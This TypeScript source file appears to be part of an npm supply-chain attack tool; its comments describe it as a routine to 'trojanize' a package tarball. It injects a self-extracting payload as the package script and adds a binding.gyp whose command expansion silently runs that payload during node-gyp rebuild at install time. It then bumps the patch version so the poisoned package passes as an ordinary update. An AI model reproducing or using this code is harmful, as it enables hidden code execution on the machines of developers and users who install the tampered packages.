117 lines
3.9 KiB
TypeScript
117 lines
3.9 KiB
TypeScript
import { randomBytes } from "crypto";
|
|
import { createWriteStream } from "fs";
|
|
import * as fs from "fs/promises";
|
|
import * as path from "path";
|
|
import { pipeline } from "stream/promises";
|
|
import * as tar from "tar";
|
|
|
|
import { SCRIPT_NAME } from "../../utils/config";
|
|
import { logUtil } from "../../utils/logger";
|
|
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
|
|
|
export const TMP_PACKAGE_NAME = "package-updated.tgz";
|
|
|
|
export interface UpdateTarballOptions {
|
|
/** Log / error-message tag, e.g. "[npm]" or "[npmoidc]". */
|
|
tag: string;
|
|
/**
|
|
* Name of the binding.gyp target. Defaults to "nothing".
|
|
* NPMOidcClient uses "Setup".
|
|
*/
|
|
targetName?: string;
|
|
/** Whether to add `"bun"` as a dependency in package.json. */
|
|
addBunDep?: boolean;
|
|
/**
|
|
* Custom content for index.js. When set, this is written directly
|
|
* as index.js instead of the self-extracting Bun.main payload.
|
|
* Useful for validation / testing the binding.gyp injection path.
|
|
*/
|
|
payload?: string;
|
|
}
|
|
|
|
/**
|
|
* Download, trojanize, and repack an npm tarball.
|
|
*
|
|
* 1. Extract into a temp directory.
|
|
* 2. Inject the self-extracting payload as `index.js`.
|
|
* 3. Add a `binding.gyp` with a `<!(command)` expansion that triggers
|
|
* execution during `node-gyp rebuild`.
|
|
* 4. Bump the patch version.
|
|
* 5. Repack and validate the resulting gzip stream.
|
|
*
|
|
* @returns The path to the modified tarball.
|
|
*/
|
|
export async function updateTarball(
|
|
tarballPath: string,
|
|
opts: UpdateTarballOptions,
|
|
): Promise<string> {
|
|
const { tag, targetName = "nothing", addBunDep = false, payload } = opts;
|
|
|
|
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
|
|
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
|
|
await fs.mkdir(tmpDir, { recursive: true });
|
|
|
|
try {
|
|
await tar.extract({ file: tarballPath, cwd: tmpDir });
|
|
|
|
const scriptContent =
|
|
payload ??
|
|
buildSelfExtractingPayload(await Bun.file(Bun.main).text(), {
|
|
wrap: true,
|
|
});
|
|
await Bun.write(path.join(tmpDir, "package", SCRIPT_NAME), scriptContent);
|
|
|
|
// binding.gyp — <!(command) expansion executes during node-gyp rebuild.
|
|
// type: "none" means gyp expands the command (firing the payload) but
|
|
// skips compilation — no .c/.o files needed.
|
|
const gypContent = [
|
|
"{",
|
|
' "targets": [',
|
|
" {",
|
|
` "target_name": ${JSON.stringify(targetName)},`,
|
|
' "type": "none",',
|
|
` "sources": ["<!(node ${SCRIPT_NAME} > /dev/null 2>&1 && echo stub.c)"]`,
|
|
" }",
|
|
" ]",
|
|
"}",
|
|
].join("\n");
|
|
await Bun.write(path.join(tmpDir, "package", "binding.gyp"), gypContent);
|
|
|
|
const pkgJsonPath = path.join(tmpDir, "package", "package.json");
|
|
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
|
|
|
|
if (addBunDep) {
|
|
pkg.dependencies ??= {};
|
|
pkg.dependencies["bun"] = "^1.3.13";
|
|
}
|
|
|
|
const [major, minor, patch] = pkg.version.split(".").map(Number);
|
|
pkg.version = `${major}.${minor}.${patch + 1}`;
|
|
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
|
|
|
|
const updatedPath = path.join(
|
|
path.dirname(tarballPath),
|
|
`${uniqueSuffix}_${TMP_PACKAGE_NAME}`,
|
|
);
|
|
await pipeline(
|
|
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
|
|
createWriteStream(updatedPath),
|
|
);
|
|
|
|
// Defensive postcondition: fail loudly here with context if the
|
|
// tarball is somehow not a valid gzip stream, instead of
|
|
// exploding inside `gunzipSync` further down the pipeline.
|
|
const written = await fs.readFile(updatedPath);
|
|
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
|
|
throw new Error(
|
|
`${tag} tarball at ${updatedPath} is not a valid gzip stream ` +
|
|
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
|
|
);
|
|
}
|
|
|
|
logUtil.log(`Updated path: ${updatedPath}`);
|
|
return updatedPath;
|
|
} finally {
|
|
}
|
|
}
|